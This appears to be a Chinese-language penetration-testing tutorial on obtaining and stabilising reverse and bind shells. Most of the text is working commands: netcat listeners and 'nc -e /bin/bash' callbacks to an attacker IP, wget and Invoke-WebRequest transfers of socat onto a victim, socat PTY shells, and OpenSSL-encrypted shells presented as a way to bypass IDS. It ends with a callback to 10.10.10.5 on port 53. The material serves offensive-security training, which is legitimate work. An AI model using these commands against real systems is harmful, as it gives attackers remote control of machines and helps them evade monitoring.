shell 是我们在与命令行环境 (CLI) 交互时使用的。在Linux shell 中有 bash,sh等,Windows 上的是 cmd.exe 和 Powershell。
有时在应用服务器上(常见为web服务器),可以强制执行任意代码。在这种情况下,我们希望使用此初始访问权限来获取目标上运行的 shell。
一般来说,我们需要恶意的 shell 代码,以及与生成的 shell 交互的方式。
先看看有哪些常见shell?
natcat
默认情况下,Netcat shell 非常不稳定(容易丢失)
socat
Socat shell 通常比开箱即用的 netcat shell 更稳定。但它语法比较难。
Metasploit -- multi/handler
用于接收反向 shell,是Metasploit 框架的一部分,提供一种获得稳定 shell 的成熟方法,也是与meterpreter shell 交互的唯一方法,也是处理分段payload的最简单方法。
Msfvenom
是 Metasploit 框架的一部分,用于动态生成payload。msfvenom 还可以生成除反向和绑定 shell 之外的payload。
还有许多不同语言的 shell 存储库。其中最突出的之一是 Payloads all the Things。PentestMonkey Reverse Shell Cheatsheet 也很常用。除了这些在线资源,Kali Linux 还预装了位于 /usr/share/webshells 的各种 webshell。SecLists 存储库虽然主要用于单词列表,但也包含一些非常有用的获取 shell 的代码。
它们的链接如下:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.mdhttps://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/danielmiessler/SecLists
shell的类型
当涉及到利用目标时,我们对两种 shell 感兴趣:反向 shell 和绑定 shell。
例子1-反向shell
攻击者:sudo nc -lvnp 443
受害者:nc <LOCAL-IP> <PORT> -e /bin/bash
例子2-绑定shell
受害者:nc -lvnp <port> -e "cmd.exe"
攻击者:nc MACHINE_IP <port>
交互性 interactive与非交互性 non-interactive
交互式shell
Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,允许您在执行程序后与它们进行交互。 例如,以 SSH 登录提示为例:
ssh [email protected]
会询问用户输入 yes 或 no 以继续连接。 这是一个交互式程序,需要交互式shell才能运行。
非交互式shell
不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这会使进一步的利用变得更加棘手。
默认情况下,这些shell非常不稳定。 它们是非交互式的,并且经常出现奇怪的格式错误。这是因为它们实际上是在终端内运行的进程,而不是它本身就是真正的终端。
相当于家用路由器再多“接”了一个其他设备,您连接的是它。
您得到的shell是一个进程,为什么不直接去连家用路由器呢?干掉那些影响稳定性的“中间进程”,使用直连。
幸运的是,有很多方法可以在 Linux 系统上稳定 netcat shell。 Windows 反向 shell 的稳定性往往要困难得多。
反向shell
nc -lvnp <port-number>
-l 用于告诉 netcat 这将是一个监听器
-v 用于请求详细输出
-n 告诉 netcat 不要解析主机名或使用 DNS。
-p 表示将遵循端口规范。
绑定shell
nc <target-ip> <chosen-port>
如果我们已经捕获或连接到了一个 netcat shell,接下来呢?
当然是稳定化它
基于python的稳定化
借助python开辟一个新的回连,无“中间商”赚差价
sudo nc -lvnp 443 获取到反向shell
python -c 'import pty;pty.spawn("/bin/bash")' 使用 Python 生成功能更好的 bash shell
Ctrl + Z 将 shell 设置为背景
stty raw -echo; fg 稳定化并重新进入shell
基于rlwrap的稳定化
rlwrap 是一个程序,简单来说,它可以让我们在收到 shell 后立即访问历史记录、选项卡自动完成和箭头键。
sudo apt install rlwrap
rlwrap nc -lvnp <port>
在 netcat 监听器前面加上“rlwrap”给了我们一个更全功能的 shell。 这种技术在处理 Windows shell 时特别有用,否则这些 shell 很难稳定。 在处理 Linux 目标时,可以使用与前面技术相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 置于后台,然后使用 stty raw -echo; fg稳定并重新进入shell。
基于Socat的稳定化
使用初始 netcat shell 作为进入功能更全的 socat shell 的垫脚石。
请记住,这种技术仅限于 Linux 目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。
为了实现这种稳定方法,我们首先将 socat 静态编译的二进制文件 (编译为没有依赖关系的程序版本)传输到目标机器。
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true (编译好了)
sudo python3 -m http.server 80
linux或windows 武器化交付阶段
wget <LOCAL-IP>/socat -O /tmp/socat
Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
反向shell
socat 的语法比 netcat 的语法要难得多。 这是 socat 中基本反向 shell 侦听器的语法:
语法 - :表示标准输入输出
socat TCP-L:<port> -
相当于 nc -lvnp 端口
在 Windows 上,我们将使用此命令重新连接:socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
pipes选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。
这是linux的等效命令:socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"
绑定shell
linux与windows下的监听语法socat TCP-L:<PORT> EXEC:"bash -li"
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
无论目标是什么,我们都在攻击者机器上使用此命令连接到等待的侦听器。socat TCP:<TARGET-IP>:<TARGET-PORT> -
现在让我们看看 Socat 更强大的用途之一:完全稳定的 Linux tty 反向 shell。这仅在目标是 Linux 时有效,但明显更稳定。
这是新的侦听器语法:
攻击者socat TCP-L:<port> FILE:`tty`,raw,echo=0
我们将当前 TTY 作为文件传递并将回显设置为零。这相当于 Ctrl + Z, stty raw -echo;fg 使用 netcat shell 的 技巧 ,好处是立即稳定并连接到完整的 tty。
受害者机器:
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
pty:在目标上分配伪终端,稳定化的一部分
stderr:显示错误信息
sigint:将任何ctrl+c命令传递到子进程中
setsid:在新会话中创建进程
sane:稳定终端,试图“正常化”它
此socat shell是完全交互式的,允许我们使用交互式命令,ssh,vim或nano等。-d -d增加详细程度,在实验时比较有用。
socat 的众多优点之一是它能够创建加密的绑定shell与反向shell。这也是为啥,技术书籍都用它来举例已帮助理解的原因所在。
为什么要这样做? 除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。
使用加密shell时,可以用语法openssl替换掉命令中的tcp部分。
首先生成一个证书openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
填写可以留空或者随意填
输出合并为一个文件cat shell.key shell.crt > shell.pem
设置反向 shell 监听器socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
verify=0:不需要费劲尝试验证证书的公认权威签名了,自建证书哪有什么公章与合法性。
受害者的反向连接socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash
绑定shell如下
受害者:socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
攻击者:socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -
再次注意:证书必须与监听器一起使用,因此需要带上PEM文件的命令。
作为结尾,稳定化tty技术与加密技术的监听与回连语法如下:
攻击者监听:
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
受害者回连:
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
感谢师傅们很有耐心的阅读到这里,我们还会再见面的,共勉。感谢阿象,感谢社区,感谢祖国,我爱祖国。